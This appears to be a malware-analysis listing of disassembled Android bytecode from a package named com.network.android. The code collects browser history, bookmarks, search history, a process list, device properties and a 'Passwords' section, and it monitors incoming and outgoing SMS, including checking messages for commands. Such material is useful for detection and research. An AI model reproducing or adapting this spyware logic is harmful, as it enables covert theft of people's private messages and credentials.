      • Process List
      • getBrowserSearchHistory end
      Position Instruction Meta Information
      0const/4 v12, 0x1
      1const/4 v6, 0x0
      3const-string v0, "getBrowserHistory get browsing and bookmark start"
      5invoke-static {v0}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      6new-instance v7, Ljava/lang/StringBuilder;
      8invoke-direct {v7}, Ljava/lang/StringBuilder;-><init>()V
      9new-instance v8, Ljava/lang/StringBuilder;
      11invoke-direct {v8}, Ljava/lang/StringBuilder;-><init>()V
      12new-instance v9, Ljava/lang/StringBuilder;
      14invoke-direct {v9}, Ljava/lang/StringBuilder;-><init>()V
      15new-instance v10, Ljava/lang/StringBuilder;
      17invoke-direct {v10}, Ljava/lang/StringBuilder;-><init>()V
      18new-instance v11, Ljava/lang/StringBuilder;
      20invoke-direct {v11}, Ljava/lang/StringBuilder;-><init>()V
      21try_start_20:
      22invoke-static {}, Ljava/lang/Runtime;->getRuntime()Ljava/lang/Runtime;
      23move-result-object v0
      25const-string v1, "getprop"
      27invoke-virtual {v0, v1}, Ljava/lang/Runtime;->exec(Ljava/lang/String;)Ljava/lang/Process;
      28try_end_29: move-result-object v1
      29try_start_2a: new-instance v0, Ljava/io/BufferedReader;
      30new-instance v2, Ljava/io/InputStreamReader;
      32invoke-virtual {v1}, Ljava/lang/Process;->getInputStream()Ljava/io/InputStream;
      33move-result-object v3
      35invoke-direct {v2, v3}, Ljava/io/InputStreamReader;-><init>(Ljava/io/InputStream;)V
      37invoke-direct {v0, v2}, Ljava/io/BufferedReader;-><init>(Ljava/io/Reader;)V
      38goto_38:
      39invoke-virtual {v0}, Ljava/io/BufferedReader;->readLine()Ljava/lang/String;
      40move-result-object v2
      41if-eqz v2, :cond_1e0
      43invoke-virtual {v7, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      45const-string v2, "\n"
      47invoke-virtual {v7, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      48try_end_46: goto/16 :goto_38
      49catch_47: move-exception v0
      50try_start_48: new-instance v2, Ljava/lang/StringBuilder;
      52const-string v3, "getDeviceInfo get device info Exception- "
      54invoke-direct {v2, v3}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
      56invoke-virtual {v0}, Ljava/lang/Throwable;->getMessage()Ljava/lang/String;
      57move-result-object v3
      59invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      60move-result-object v2
      62invoke-virtual {v2}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      63move-result-object v2
      65invoke-static {v2, v0}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;Ljava/lang/Throwable;)V
      66try_end_5e: if-eqz v1, :cond_63
      68invoke-virtual {v1}, Ljava/lang/Process;->destroy()V
      69cond_63:
      70sget-object v1, Landroid/provider/Browser;->BOOKMARKS_URI:Landroid/net/Uri;
      72sget-object v2, Landroid/provider/Browser;->HISTORY_PROJECTION:[Ljava/lang/String;
      73const/4 v3, 0x0
      74const/4 v4, 0x0
      75const/4 v5, 0x0
      76move-object v0, p1
      78invoke-virtual/range {v0 .. v5}, Landroid/content/ContentResolver;->query(Landroid/net/Uri;[Ljava/lang/String;Ljava/lang/String;[Ljava/lang/String;Ljava/lang/String;)Landroid/database/Cursor;
      79try_end_6e: move-result-object v1
      80try_start_6f: new-instance v0, Ljava/lang/StringBuilder;
      82const-string v2, "getBrowserHistory "
      84invoke-direct {v0, v2}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
      86invoke-interface {v1}, Landroid/database/Cursor;->getCount()I
      87move-result v2
      89invoke-virtual {v0, v2}, Ljava/lang/StringBuilder;->append(I)Ljava/lang/StringBuilder;
      90move-result-object v0
      92invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      93move-result-object v0
      95invoke-static {v0}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      96if-eqz v1, :cond_20f
      98invoke-interface {v1}, Landroid/database/Cursor;->getCount()I
      99move-result v0
      100if-lez v0, :cond_20f
      101cond_8d:
      102invoke-interface {v1}, Landroid/database/Cursor;->moveToNext()Z
      103try_end_90: move-result v0
      104if-eqz v0, :cond_20f
      105try_start_93:
      106const-string v0, "bookmark"
      108invoke-interface {v1, v0}, Landroid/database/Cursor;->getColumnIndex(Ljava/lang/String;)I
      109move-result v0
      111invoke-interface {v1, v0}, Landroid/database/Cursor;->getInt(I)I
      112move-result v0
      113const/4 v2, 0x1
      115invoke-interface {v1, v2}, Landroid/database/Cursor;->getString(I)Ljava/lang/String;
      116move-result-object v2
      118const-string v3, "title"
      120invoke-interface {v1, v3}, Landroid/database/Cursor;->getColumnIndex(Ljava/lang/String;)I
      121move-result v3
      123invoke-interface {v1, v3}, Landroid/database/Cursor;->getString(I)Ljava/lang/String;
      124move-result-object v3
      125if-nez v0, :cond_1f4
      127invoke-virtual {v8, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      129const-string v0, ": "
      131invoke-virtual {v8, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      133invoke-virtual {v8, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      135const-string v0, "\r\n"
      137invoke-virtual {v8, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      138try_end_be: goto/16 :goto_8d
      139catch_bf: move-exception v0
      140try_start_c0: new-instance v2, Ljava/lang/StringBuilder;
      142const-string v3, "getBrowserHistory browsing and bookmark iter error: "
      144invoke-direct {v2, v3}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
      146invoke-virtual {v0}, Ljava/lang/Throwable;->getMessage()Ljava/lang/String;
      147move-result-object v3
      149invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      150move-result-object v2
      152invoke-virtual {v2}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      153move-result-object v2
      155invoke-static {v2, v0}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;Ljava/lang/Throwable;)V
      156try_end_d6: goto/16 :goto_8d
      157catch_d7: move-exception v0
      158try_start_d8: new-instance v2, Ljava/lang/StringBuilder;
      160const-string v3, "getBrowserHistory browsing and bookmark Exception- "
      162invoke-direct {v2, v3}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
      164invoke-virtual {v0}, Ljava/lang/Throwable;->getMessage()Ljava/lang/String;
      165move-result-object v3
      167invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      168move-result-object v2
      170invoke-virtual {v2}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      171move-result-object v2
      173invoke-static {v2, v0}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;Ljava/lang/Throwable;)V
      174try_end_ee: if-eqz v1, :cond_f3
      176invoke-interface {v1}, Landroid/database/Cursor;->close()V
      177cond_f3:
      178const-string v0, "getBrowserHistory browsing and bookmark end"
      180invoke-static {v0}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      182const-string v0, "getBrowserSearchHistory start"
      184invoke-static {v0}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      185try_start_fd:
      186sget-object v1, Landroid/provider/Browser;->SEARCHES_URI:Landroid/net/Uri;
      188sget-object v2, Landroid/provider/Browser;->SEARCHES_PROJECTION:[Ljava/lang/String;
      189const/4 v3, 0x0
      190const/4 v4, 0x0
      191const/4 v5, 0x0
      192move-object v0, p1
      194invoke-virtual/range {v0 .. v5}, Landroid/content/ContentResolver;->query(Landroid/net/Uri;[Ljava/lang/String;Ljava/lang/String;[Ljava/lang/String;Ljava/lang/String;)Landroid/database/Cursor;
      195move-result-object v6
      196new-instance v0, Ljava/lang/StringBuilder;
      198const-string v1, "getBrowserSearchHistory "
      200invoke-direct {v0, v1}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
      202invoke-interface {v6}, Landroid/database/Cursor;->getCount()I
      203move-result v1
      205invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(I)Ljava/lang/StringBuilder;
      206move-result-object v0
      208invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      209move-result-object v0
      211invoke-static {v0}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      212if-eqz v6, :cond_216
      214invoke-interface {v6}, Landroid/database/Cursor;->getCount()I
      215move-result v0
      216if-lez v0, :cond_216
      217goto_127:
      218invoke-interface {v6}, Landroid/database/Cursor;->moveToNext()Z
      219try_end_12a: move-result v0
      220if-eqz v0, :cond_216
      221const/4 v0, 0x1
      222try_start_12e:
      223invoke-interface {v6, v0}, Landroid/database/Cursor;->getString(I)Ljava/lang/String;
      224move-result-object v0
      226invoke-virtual {v10, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      228const-string v0, "\r\n"
      230invoke-virtual {v10, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      231try_end_13a: goto/16 :goto_127
      232catch_13b: move-exception v0
      233try_start_13c: new-instance v1, Ljava/lang/StringBuilder;
      235const-string v2, "getBrowserHistory iter error: "
      237invoke-direct {v1, v2}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
      239invoke-virtual {v0}, Ljava/lang/Throwable;->getMessage()Ljava/lang/String;
      240move-result-object v2
      242invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      243move-result-object v1
      245invoke-virtual {v1}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      246move-result-object v1
      248invoke-static {v1, v0}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;Ljava/lang/Throwable;)V
      249try_end_152: goto/16 :goto_127
      250catch_153: move-exception v0
      251try_start_154: new-instance v1, Ljava/lang/StringBuilder;
      253const-string v2, "getBrowserHistory get Exception- "
      255invoke-direct {v1, v2}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
      257invoke-virtual {v0}, Ljava/lang/Throwable;->getMessage()Ljava/lang/String;
      258move-result-object v2
      260invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      261move-result-object v1
      263invoke-virtual {v1}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      264move-result-object v1
      266invoke-static {v1, v0}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;Ljava/lang/Throwable;)V
      267try_end_16a: if-eqz v6, :cond_16f
      269invoke-interface {v6}, Landroid/database/Cursor;->close()V
      270goto_16f: new-instance v0, Ljava/io/File;
      272const-string v1, "/system/csk"
      274invoke-direct {v0, v1}, Ljava/io/File;-><init>(Ljava/lang/String;)V
      276invoke-virtual {v0}, Ljava/io/File;->exists()Z
      277move-result v0
      278if-eqz v0, :cond_182
      280invoke-static {v11}, Lcom/network/android/m;->a(Ljava/lang/StringBuilder;)V
      282invoke-static {v11}, Lcom/network/android/m;->b(Ljava/lang/StringBuilder;)V
      283cond_182:
      284invoke-static {}, Lcom/network/android/agent/NetworkApp;->a()Landroid/content/Context;
      285move-result-object v0
      287invoke-static {v0}, Lcom/network/android/android/monitor/b;->a(Landroid/content/Context;)Ljava/lang/StringBuilder;
      288move-result-object v0
      290const-string v1, ""
      292const-string v2, "misc"
      294invoke-interface {p0, v1, v2}, Lorg/xmlpull/v1/XmlSerializer;->startTag(Ljava/lang/String;Ljava/lang/String;)Lorg/xmlpull/v1/XmlSerializer;
      296invoke-virtual {v7}, Ljava/lang/StringBuilder;->length()I
      297move-result v1
      298if-lez v1, :cond_19c
      300const-string v1, "Device Info"
      302invoke-static {p0, v1, v7}, Lcom/network/android/m;->a(Lorg/xmlpull/v1/XmlSerializer;Ljava/lang/String;Ljava/lang/StringBuilder;)V
      303cond_19c:
      304invoke-virtual {v8}, Ljava/lang/StringBuilder;->length()I
      305move-result v1
      306if-lez v1, :cond_1a7
      308const-string v1, "Browser History"
      310invoke-static {p0, v1, v8}, Lcom/network/android/m;->a(Lorg/xmlpull/v1/XmlSerializer;Ljava/lang/String;Ljava/lang/StringBuilder;)V
      311cond_1a7:
      312invoke-virtual {v9}, Ljava/lang/StringBuilder;->length()I
      313move-result v1
      314if-lez v1, :cond_1b2
      316const-string v1, "Browser Favorites"
      318invoke-static {p0, v1, v9}, Lcom/network/android/m;->a(Lorg/xmlpull/v1/XmlSerializer;Ljava/lang/String;Ljava/lang/StringBuilder;)V
      319cond_1b2:
      320invoke-virtual {v10}, Ljava/lang/StringBuilder;->length()I
      321move-result v1
      322if-lez v1, :cond_1bd
      324const-string v1, "Search History"
      326invoke-static {p0, v1, v10}, Lcom/network/android/m;->a(Lorg/xmlpull/v1/XmlSerializer;Ljava/lang/String;Ljava/lang/StringBuilder;)V
      327cond_1bd:
      328invoke-virtual {v11}, Ljava/lang/StringBuilder;->length()I
      329move-result v1
      330if-lez v1, :cond_1c8
      332const-string v1, "Passwords"
      334invoke-static {p0, v1, v11}, Lcom/network/android/m;->a(Lorg/xmlpull/v1/XmlSerializer;Ljava/lang/String;Ljava/lang/StringBuilder;)V
      335cond_1c8:
      336invoke-virtual {v0}, Ljava/lang/StringBuilder;->length()I
      337move-result v1
      338if-lez v1, :cond_1d3
      340const-string v1, "Process List"
      342invoke-static {p0, v1, v0}, Lcom/network/android/m;->a(Lorg/xmlpull/v1/XmlSerializer;Ljava/lang/String;Ljava/lang/StringBuilder;)V
      343cond_1d3:
      344const-string v0, ""
      346const-string v1, "misc"
      348invoke-interface {p0, v0, v1}, Lorg/xmlpull/v1/XmlSerializer;->endTag(Ljava/lang/String;Ljava/lang/String;)Lorg/xmlpull/v1/XmlSerializer;
      350const-string v0, "getBrowserSearchHistory end"
      352invoke-static {v0}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      353return-void
      354cond_1e0:
      355const-string v0, "getprop"
      357invoke-static {v0, v1}, Lcom/network/android/m;->a(Ljava/lang/String;Ljava/lang/Process;)I
      358try_end_1e5: if-eqz v1, :cond_63
      360invoke-virtual {v1}, Ljava/lang/Process;->destroy()V
      361goto/16 :goto_63
      362catchall_1ec: move-exception v0
      363move-object v1, v6
      364goto_1ee: if-eqz v1, :cond_1f3
      366invoke-virtual {v1}, Ljava/lang/Process;->destroy()V
      367cond_1f3: throw v0
      368cond_1f4: if-ne v0, v12, :cond_8d
      369try_start_1f6:
      370invoke-virtual {v9, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      372const-string v0, ": "
      374invoke-virtual {v9, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      376invoke-virtual {v9, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      378const-string v0, "\r\n"
      380invoke-virtual {v9, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      381try_end_206: goto/16 :goto_8d
      382catchall_208: move-exception v0
      383goto_209: if-eqz v1, :cond_20e
      385invoke-interface {v1}, Landroid/database/Cursor;->close()V
      386cond_20e: throw v0
      387cond_20f: if-eqz v1, :cond_f3
      389invoke-interface {v1}, Landroid/database/Cursor;->close()V
      390goto/16 :goto_f3
      391cond_216: if-eqz v6, :cond_16f
      393invoke-interface {v6}, Landroid/database/Cursor;->close()V
      394goto/16 :goto_16f
      395catchall_21d: move-exception v0
      396if-eqz v6, :cond_223
      398invoke-interface {v6}, Landroid/database/Cursor;->close()V
      399cond_223: throw v0
      400catchall_224: move-exception v0
      401move-object v1, v6
      402goto/16 :goto_209
      403catch_227: move-exception v0
      404move-object v1, v6
      405goto/16 :goto_d8
      406catchall_22b: move-exception v0
      407goto/16 :goto_1ee
      408catch_22d: move-exception v0
      409move-object v1, v6
      410goto/16 :goto_48
      Cross References
      APIs
      • android.content.Context.getContentResolver
      • android.net.Uri.parse
      • android.content.ContentResolver.query
      • android.database.Cursor.moveToLast
      • android.database.Cursor.close
      • android.content.Context.getContentResolver
      • android.net.Uri.parse
      • android.content.ContentResolver.query
      • android.database.Cursor.getColumnIndex
      • android.database.Cursor.getString
      • java.lang.Integer.parseInt
      • java.lang.StringBuilder.<init>
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • android.database.Cursor.getColumnIndex
      • android.database.Cursor.getString
      • android.database.Cursor.getColumnIndex
      • android.database.Cursor.getInt
      • java.lang.StringBuilder.<init>
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • android.database.Cursor.moveToPrevious
      • java.lang.Integer.valueOf
      • java.lang.Integer.toString
      • java.lang.StringBuilder.<init>
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • android.database.Cursor.getColumnIndex
      • android.database.Cursor.getString
      • java.lang.StringBuilder.<init>
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • java.lang.StringBuilder.<init>
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • java.lang.StringBuilder.<init>
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • android.database.Cursor.getColumnIndex
      • android.database.Cursor.getString
      • java.lang.StringBuilder.<init>
      • android.database.Cursor.getPosition
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • java.lang.StringBuilder.<init>
      • android.database.Cursor.getCount
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • java.lang.StringBuilder.<init>
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • java.lang.StringBuilder.<init>
      • android.database.Cursor.getColumnIndex
      • android.database.Cursor.getString
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • java.lang.Integer.parseInt
      • java.lang.Integer.intValue
      • java.lang.StringBuilder.<init>
      • java.lang.Throwable.getMessage
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • android.database.Cursor.getColumnIndex
      • android.database.Cursor.getString
      • java.lang.StringBuilder.<init>
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • android.util.Xml.newSerializer
      • java.io.StringWriter.<init>
      • com.network.android.SmsReceiver.a
      • com.network.android.SmsReceiver.a
      • java.io.StringWriter.toString
      • android.database.Cursor.close
      Strings
      • sms Event
      • _id ASC
      • content://sms
      • (_id > ?) and ((type == 1) or (type == 2) or (type == 5))
      • sms monitor no new sms
      • _id
      • sms multi messege count:
      • protocol
      • type
      • sms Type:
      • sms protocol:
      • Sms not a sms send/recieve/fail by protocol
      • sms Laste ID updated:
      • sms Laste ID:
      • sms Current ID:
      • sms Maximum ID:
      • address
      • sms cursor position
      • sms cursor size
      • number
      • text
      • body
      • Other operation has occured on the sms db
      • Sms Listener Exception-
      • Sms isOurCommand:
      • sms
      • inbound
      • outbound
      Position Instruction Meta Information
      0const/4 v7, 0x0
      1const/4 v10, 0x1
      2const/4 v6, 0x0
      3try_start_3:
      4const-string v0, "sms Event"
      6invoke-static {v0}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      8const-string v5, "_id ASC"
      10iget-object v0, p0, Lcom/network/android/monitor/observer/n;->f:Ljava/lang/String;
      11if-eqz v0, :cond_38
      13invoke-virtual {p1}, Landroid/content/Context;->getContentResolver()Landroid/content/ContentResolver;
      14move-result-object v0
      16const-string v1, "content://sms"
      18invoke-static {v1}, Landroid/net/Uri;->parse(Ljava/lang/String;)Landroid/net/Uri;
      19move-result-object v1
      20const/4 v2, 0x0
      22const-string v3, "(_id > ?) and ((type == 1) or (type == 2) or (type == 5)) "
      23const/4 v4, 0x1
      24new-array v4, v4, [Ljava/lang/String;
      25const/4 v8, 0x0
      27iget-object v9, p0, Lcom/network/android/monitor/observer/n;->f:Ljava/lang/String;
      28aput-object v9, v4, v8
      30invoke-virtual/range {v0 .. v5}, Landroid/content/ContentResolver;->query(Landroid/net/Uri;[Ljava/lang/String;Ljava/lang/String;[Ljava/lang/String;Ljava/lang/String;)Landroid/database/Cursor;
      31try_end_26: move-result-object v1
      32try_start_27:
      33invoke-interface {v1}, Landroid/database/Cursor;->moveToLast()Z
      34move-result v0
      35if-nez v0, :cond_4a
      37const-string v0, "sms monitor no new sms"
      39invoke-static {v0}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      40try_end_32: if-eqz v1, :cond_37
      41goto_34:
      42invoke-interface {v1}, Landroid/database/Cursor;->close()V
      43cond_37: return-void
      44cond_38:
      45invoke-virtual {p1}, Landroid/content/Context;->getContentResolver()Landroid/content/ContentResolver;
      46move-result-object v0
      48const-string v1, "content://sms"
      50invoke-static {v1}, Landroid/net/Uri;->parse(Ljava/lang/String;)Landroid/net/Uri;
      51move-result-object v1
      52const/4 v2, 0x0
      53const/4 v3, 0x0
      54const/4 v4, 0x0
      56invoke-virtual/range {v0 .. v5}, Landroid/content/ContentResolver;->query(Landroid/net/Uri;[Ljava/lang/String;Ljava/lang/String;[Ljava/lang/String;Ljava/lang/String;)Landroid/database/Cursor;
      57try_end_48: move-result-object v1
      58goto/16 :goto_27
      59cond_4a:
      60const-string v0, "_id"
      62invoke-interface {v1, v0}, Landroid/database/Cursor;->getColumnIndex(Ljava/lang/String;)I
      63move-result v0
      65invoke-interface {v1, v0}, Landroid/database/Cursor;->getString(I)Ljava/lang/String;
      66move-result-object v0
      68invoke-static {v0}, Ljava/lang/Integer;->parseInt(Ljava/lang/String;)I
      69move-result v0
      70move v2, v7
      71goto_59: new-instance v4, Ljava/lang/StringBuilder;
      73const-string v3, "sms multi messege count: "
      75invoke-direct {v4, v3}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
      76add-int/lit8 v3, v2, 0x1
      78invoke-virtual {v4, v2}, Ljava/lang/StringBuilder;->append(I)Ljava/lang/StringBuilder;
      79move-result-object v2
      81invoke-virtual {v2}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      82move-result-object v2
      84invoke-static {v2}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      86const-string v2, "protocol"
      88invoke-interface {v1, v2}, Landroid/database/Cursor;->getColumnIndex(Ljava/lang/String;)I
      89move-result v2
      91invoke-interface {v1, v2}, Landroid/database/Cursor;->getString(I)Ljava/lang/String;
      92move-result-object v2
      94const-string v4, "type"
      96invoke-interface {v1, v4}, Landroid/database/Cursor;->getColumnIndex(Ljava/lang/String;)I
      97move-result v4
      99invoke-interface {v1, v4}, Landroid/database/Cursor;->getInt(I)I
      100move-result v4
      101new-instance v5, Ljava/lang/StringBuilder;
      103const-string v6, "sms Type: "
      105invoke-direct {v5, v6}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
      107invoke-virtual {v5, v4}, Ljava/lang/StringBuilder;->append(I)Ljava/lang/StringBuilder;
      108move-result-object v5
      110const-string v6, " sms protocol: "
      112invoke-virtual {v5, v6}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      113move-result-object v5
      115invoke-virtual {v5, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      116move-result-object v2
      118invoke-virtual {v2}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      119move-result-object v2
      121invoke-static {v2}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      122if-eq v4, v10, :cond_d6
      123const/4 v2, 0x2
      124if-eq v4, v2, :cond_d6
      125const/4 v2, 0x5
      126if-eq v4, v2, :cond_d6
      128const-string v2, "Sms not a sms send/recieve/fail by protocol"
      130invoke-static {v2}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      131cond_aa:
      132invoke-interface {v1}, Landroid/database/Cursor;->moveToPrevious()Z
      133move-result v2
      134if-nez v2, :cond_20e
      135goto_b0:
      136invoke-static {v0}, Ljava/lang/Integer;->valueOf(I)Ljava/lang/Integer;
      137move-result-object v0
      138iput-object v0, p0, Lcom/network/android/monitor/observer/n;->d:Ljava/lang/Integer;
      140iget-object v0, p0, Lcom/network/android/monitor/observer/n;->d:Ljava/lang/Integer;
      142invoke-virtual {v0}, Ljava/lang/Integer;->toString()Ljava/lang/String;
      143move-result-object v0
      144iput-object v0, p0, Lcom/network/android/monitor/observer/n;->f:Ljava/lang/String;
      145new-instance v0, Ljava/lang/StringBuilder;
      147const-string v2, "sms Laste ID updated: "
      149invoke-direct {v0, v2}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
      151iget-object v2, p0, Lcom/network/android/monitor/observer/n;->d:Ljava/lang/Integer;
      153invoke-virtual {v0, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/Object;)Ljava/lang/StringBuilder;
      154move-result-object v0
      156invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      157move-result-object v0
      159invoke-static {v0}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      160if-eqz v1, :cond_37
      161goto/16 :goto_34
      162cond_d6:
      163const-string v2, "_id"
      165invoke-interface {v1, v2}, Landroid/database/Cursor;->getColumnIndex(Ljava/lang/String;)I
      166move-result v2
      168invoke-interface {v1, v2}, Landroid/database/Cursor;->getString(I)Ljava/lang/String;
      169move-result-object v2
      170new-instance v5, Ljava/lang/StringBuilder;
      172const-string v6, "sms Laste ID: "
      174invoke-direct {v5, v6}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
      176iget-object v6, p0, Lcom/network/android/monitor/observer/n;->d:Ljava/lang/Integer;
      178invoke-virtual {v5, v6}, Ljava/lang/StringBuilder;->append(Ljava/lang/Object;)Ljava/lang/StringBuilder;
      179move-result-object v5
      181invoke-virtual {v5}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      182move-result-object v5
      184invoke-static {v5}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      185new-instance v5, Ljava/lang/StringBuilder;
      187const-string v6, "sms Current ID: "
      189invoke-direct {v5, v6}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
      191invoke-virtual {v5, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      192move-result-object v5
      194invoke-virtual {v5}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      195move-result-object v5
      197invoke-static {v5}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      198new-instance v5, Ljava/lang/StringBuilder;
      200const-string v6, "sms Maximum ID: "
      202invoke-direct {v5, v6}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
      204invoke-virtual {v5, v0}, Ljava/lang/StringBuilder;->append(I)Ljava/lang/StringBuilder;
      205move-result-object v5
      207invoke-virtual {v5}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      208move-result-object v5
      210invoke-static {v5}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      212const-string v5, "address"
      214invoke-interface {v1, v5}, Landroid/database/Cursor;->getColumnIndex(Ljava/lang/String;)I
      215move-result v5
      217invoke-interface {v1, v5}, Landroid/database/Cursor;->getString(I)Ljava/lang/String;
      218move-result-object v5
      219new-instance v6, Ljava/lang/StringBuilder;
      221const-string v7, "sms cursor position "
      223invoke-direct {v6, v7}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
      225invoke-interface {v1}, Landroid/database/Cursor;->getPosition()I
      226move-result v7
      228invoke-virtual {v6, v7}, Ljava/lang/StringBuilder;->append(I)Ljava/lang/StringBuilder;
      229move-result-object v6
      231invoke-virtual {v6}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      232move-result-object v6
      234invoke-static {v6}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      235new-instance v6, Ljava/lang/StringBuilder;
      237const-string v7, "sms cursor size "
      239invoke-direct {v6, v7}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
      241invoke-interface {v1}, Landroid/database/Cursor;->getCount()I
      242move-result v7
      244invoke-virtual {v6, v7}, Ljava/lang/StringBuilder;->append(I)Ljava/lang/StringBuilder;
      245move-result-object v6
      247invoke-virtual {v6}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      248move-result-object v6
      250invoke-static {v6}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      251new-instance v6, Ljava/lang/StringBuilder;
      253const-string v7, "number "
      255invoke-direct {v6, v7}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
      257invoke-virtual {v6, v5}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      258move-result-object v5
      260invoke-virtual {v5}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      261move-result-object v5
      263invoke-static {v5}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      264new-instance v5, Ljava/lang/StringBuilder;
      266const-string v6, "text "
      268invoke-direct {v5, v6}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
      270const-string v6, "body"
      272invoke-interface {v1, v6}, Landroid/database/Cursor;->getColumnIndex(Ljava/lang/String;)I
      273move-result v6
      275invoke-interface {v1, v6}, Landroid/database/Cursor;->getString(I)Ljava/lang/String;
      276move-result-object v6
      278invoke-virtual {v5, v6}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      279move-result-object v5
